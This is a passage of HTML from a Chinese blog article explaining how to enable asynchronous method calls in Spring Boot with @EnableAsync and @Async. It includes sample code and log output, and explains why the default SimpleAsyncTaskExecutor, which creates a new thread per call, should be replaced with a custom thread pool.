26px;">故,异步能解决2个问题,性能和容错性。</p> <blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"> <p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;color: black;line-height: 26px;">推荐下自己做的 Spring Boot 的实战项目:</p> <p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;color: black;line-height: 26px;">https://github.com/YunaiV/ruoyi-vue-pro</p> </blockquote> <h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;width: 3px;margin-left: 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">SpringBoot如何实现异步调用?</a></span><span style="display: block;width: 3px;margin-left: 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对于异步方法调用,从Spring3开始提供了<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@Async</code>注解,我们只需要在方法上标注此注解,此方法即可实现异步调用。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当然,我们还需要一个配置类,通过Enable模块驱动注解<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@EnableAsync</code> 来开启异步功能。</p> <blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"> <p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;color: black;line-height: 26px;">推荐下自己做的 Spring Cloud 的实战项目:</p> <p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;color: black;line-height: 26px;">https://github.com/YunaiV/onemall</p> </blockquote> <h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;width: 3px;margin-left: 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">实现异步调用</a></span><span style="display: block;width: 3px;margin-left: 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">第一步:新建配置类,开启@Async功能支持</a></span><span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@EnableAsync</code>来开启异步任务支持,<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@EnableAsync</code>注解可以直接放在SpringBoot启动类上,也可以单独放在其他配置类上。我们这里选择使用单独的配置类<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">SyncConfiguration</code>。</p> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #9B9B9B;line-height: 26px;">@Configuration</span><br><span style="color: #9B9B9B;line-height: 26px;">@EnableAsync</span><br><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #B8D7A3;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">class</span>&nbsp;<span style="color: #DCDCDC;line-height: 26px;">AsyncConfiguration</span>&nbsp;</span>{<br><br>}<br></code></pre> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">第二步:在方法上标记异步调用</a></span><span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">增加一个Component类,用来进行业务处理,同时添加<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@Async</code>注解,代表该方法为异步处理。</p> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #9B9B9B;line-height: 26px;">@Component</span><br><span style="color: #9B9B9B;line-height: 26px;">@Slf</span>4j<br><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #B8D7A3;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">class</span>&nbsp;<span style="color: #DCDCDC;line-height: 26px;">AsyncTask</span>&nbsp;</span>{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@SneakyThrows</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@Async</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">void</span>&nbsp;<span style="line-height: 26px;">doTask1</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t1&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thread.sleep(<span style="color: #B8D7A3;line-height: 26px;">2000</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t2&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;log.info(<span style="color: #D69D85;line-height: 26px;">"task1&nbsp;cost&nbsp;{}&nbsp;ms"</span>&nbsp;,&nbsp;t2-t1);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@SneakyThrows</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@Async</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">void</span>&nbsp;<span style="line-height: 26px;">doTask2</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t1&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thread.sleep(<span style="color: #B8D7A3;line-height: 26px;">3000</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t2&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;log.info(<span style="color: #D69D85;line-height: 26px;">"task2&nbsp;cost&nbsp;{}&nbsp;ms"</span>&nbsp;,&nbsp;t2-t1);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">第三步:在Controller中进行异步方法调用</a></span><span style="display: none;"></span></h3> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #9B9B9B;line-height: 26px;">@RestController</span><br><span style="color: #9B9B9B;line-height: 26px;">@RequestMapping</span>(<span style="color: #D69D85;line-height: 26px;">"/async"</span>)<br><span style="color: #9B9B9B;line-height: 26px;">@Slf</span>4j<br><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #B8D7A3;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">class</span>&nbsp;<span style="color: #DCDCDC;line-height: 26px;">AsyncController</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@Autowired</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">private</span>&nbsp;AsyncTask&nbsp;asyncTask;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@RequestMapping</span>(<span style="color: #D69D85;line-height: 26px;">"/task"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">void</span>&nbsp;<span style="line-height: 26px;">task</span><span style="line-height: 26px;">()</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">throws</span>&nbsp;InterruptedException&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t1&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;asyncTask.doTask1();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;asyncTask.doTask2();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thread.sleep(<span style="color: #B8D7A3;line-height: 26px;">1000</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t2&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;log.info(<span style="color: #D69D85;line-height: 26px;">"main&nbsp;cost&nbsp;{}&nbsp;ms"</span>,&nbsp;t2-t1);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过访问<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">http://localhost:8080/async/task</code>查看控制台日志:</p> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #B8D7A3;line-height: 26px;">2021</span>-<span style="color: #B8D7A3;line-height: 26px;">11</span>-<span style="color: #B8D7A3;line-height: 26px;">25</span>&nbsp;<span style="color: #B8D7A3;line-height: 26px;">15</span>:<span style="color: #B8D7A3;line-height: 26px;">48</span>:<span style="color: #B8D7A3;line-height: 26px;">37</span>&nbsp;[http-nio-<span style="color: #B8D7A3;line-height: 26px;">8080</span>-exec-<span style="color: #B8D7A3;line-height: 26px;">8</span>]&nbsp;INFO&nbsp;&nbsp;com.jianzh5.blog.async.AsyncController:<span style="color: #B8D7A3;line-height: 26px;">26</span>&nbsp;-&nbsp;main&nbsp;cost&nbsp;<span style="color: #B8D7A3;line-height: 26px;">1009</span>&nbsp;ms<br><span style="color: #B8D7A3;line-height: 26px;">2021</span>-<span style="color: #B8D7A3;line-height: 26px;">11</span>-<span style="color: #B8D7A3;line-height: 26px;">25</span>&nbsp;<span style="color: #B8D7A3;line-height: 26px;">15</span>:<span style="color: #B8D7A3;line-height: 26px;">48</span>:<span style="color: #B8D7A3;line-height: 26px;">38</span>&nbsp;[task-<span style="color: #B8D7A3;line-height: 26px;">1</span>]&nbsp;INFO&nbsp;&nbsp;com.jianzh5.blog.async.AsyncTask:<span style="color: #B8D7A3;line-height: 26px;">22</span>&nbsp;-&nbsp;task1&nbsp;cost&nbsp;<span style="color: #B8D7A3;line-height: 26px;">2005</span>&nbsp;ms<br><span style="color: #B8D7A3;line-height: 26px;">2021</span>-<span style="color: #B8D7A3;line-height: 26px;">11</span>-<span style="color: #B8D7A3;line-height: 26px;">25</span>&nbsp;<span style="color: #B8D7A3;line-height: 26px;">15</span>:<span style="color: #B8D7A3;line-height: 26px;">48</span>:<span style="color: #B8D7A3;line-height: 26px;">39</span>&nbsp;[task-<span style="color: #B8D7A3;line-height: 26px;">2</span>]&nbsp;INFO&nbsp;&nbsp;com.jianzh5.blog.async.AsyncTask:<span style="color: #B8D7A3;line-height: 26px;">31</span>&nbsp;-&nbsp;task2&nbsp;cost&nbsp;<span style="color: #B8D7A3;line-height: 26px;">3005</span>&nbsp;ms<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过日志可以看到:主线程不需要等待异步方法执行完成,减少了响应时间,提高了接口性能。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过上面三步我们就可以在SpringBoot中欢乐的使用异步方法来提高我们接口性能了,是不是很简单?</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不过,如果你在实际项目开发中真这样写了,肯定会被老鸟们无情嘲讽,就这?</p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"> <a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" linktype="text" imgurl="" imgdata="null" tab="innerlink" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="top: auto;left: auto;margin: 10px 0px 0px;right: auto;bottom: auto;"><img class="rich_pages wxw-img" data-ratio="0.42314814814814816" src="/upload/18f392cb8cc5b74a066d30e9aae6f325.jpg" data-type="jpeg" data-w="1080" style="display: block;margin: 0px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;"></span></a> <figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 12px;"> 破玩意儿 </figcaption> </figure> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因为上面的代码忽略了一个最大的问题,<strong>就是给<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@Async</code>异步框架自定义线程池</strong> 。</p> <h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;width: 3px;margin-left: 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">为什么要给@Async自定义线程池?</a></span><span style="display: block;width: 3px;margin-left: 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@Async</code>注解,在默认情况下用的是<strong>SimpleAsyncTaskExecutor线程池,该线程池不是真正意义上的线程池</strong> 。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">使用此线程池无法实现线程重用,每次调用都会新建一条线程。若系统中不断的创建线程,最终会导致系统占用内存过高,引发<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">OutOfMemoryError</code>错误,关键代码如下:</p> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">void</span>&nbsp;<span style="line-height: 26px;">execute</span><span style="line-height: 26px;">(Runnable&nbsp;task,&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;startTimeout)</span>&nbsp;</span>{<br>&nbsp;&nbsp;Assert.notNull(task,&nbsp;<span style="color: #D69D85;line-height: 26px;">"Runnable&nbsp;must&nbsp;not&nbsp;be&nbsp;null"</span>);<br>&nbsp;&nbsp;Runnable&nbsp;taskToUse&nbsp;=&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.taskDecorator&nbsp;!=&nbsp;<span style="color: #569CD6;line-height: 26px;">null</span>&nbsp;?&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.taskDecorator.decorate(task)&nbsp;:&nbsp;task;<br>&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//判断是否开启限流,默认为否</span><br>&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">if</span>&nbsp;(<span style="color: #569CD6;line-height: 26px;">this</span>.isThrottleActive()&nbsp;&amp;&amp;&nbsp;startTimeout&nbsp;&gt;&nbsp;<span style="color: #B8D7A3;line-height: 26px;">0L</span>)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//执行前置操作,进行限流</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.concurrencyThrottle.beforeAccess();<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.doExecute(<span style="color: #569CD6;line-height: 26px;">new</span>&nbsp;SimpleAsyncTaskExecutor.ConcurrencyThrottlingRunnable(taskToUse));<br>&nbsp;&nbsp;}&nbsp;<span style="color: #569CD6;line-height: 26px;">else</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//未限流的情况,执行线程任务</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.doExecute(taskToUse);<br>&nbsp;&nbsp;}<br><br>}<br><br><span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">protected</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">void</span>&nbsp;<span style="line-height: 26px;">doExecute</span><span style="line-height: 26px;">(Runnable&nbsp;task)</span>&nbsp;</span>{<br>&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//不断创建线程</span><br>&nbsp;&nbsp;Thread&nbsp;thread&nbsp;=&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.threadFactory&nbsp;!=&nbsp;<span style="color: #569CD6;line-height: 26px;">null</span>&nbsp;?&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.threadFactory.newThread(task)&nbsp;:&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.createThread(task);<br>&nbsp;&nbsp;thread.start();<br>}<br><br><span style="color: #57A64A;font-style: italic;line-height: 26px;">//创建线程</span><br><span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;Thread&nbsp;<span style="line-height: 26px;">createThread</span><span style="line-height: 26px;">(Runnable&nbsp;runnable)</span>&nbsp;</span>{<br>&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//指定线程名,task-1,task-2...</span><br>&nbsp;&nbsp;Thread&nbsp;thread&nbsp;=&nbsp;<span style="color: #569CD6;line-height: 26px;">new</span>&nbsp;Thread(<span style="color: #569CD6;line-height: 26px;">this</span>.getThreadGroup(),&nbsp;runnable,&nbsp;<span style="color: #569CD6;line-height: 26px;">this</span>.nextThreadName());<br>&nbsp;&nbsp;thread.setPriority(<span style="color: #569CD6;line-height: 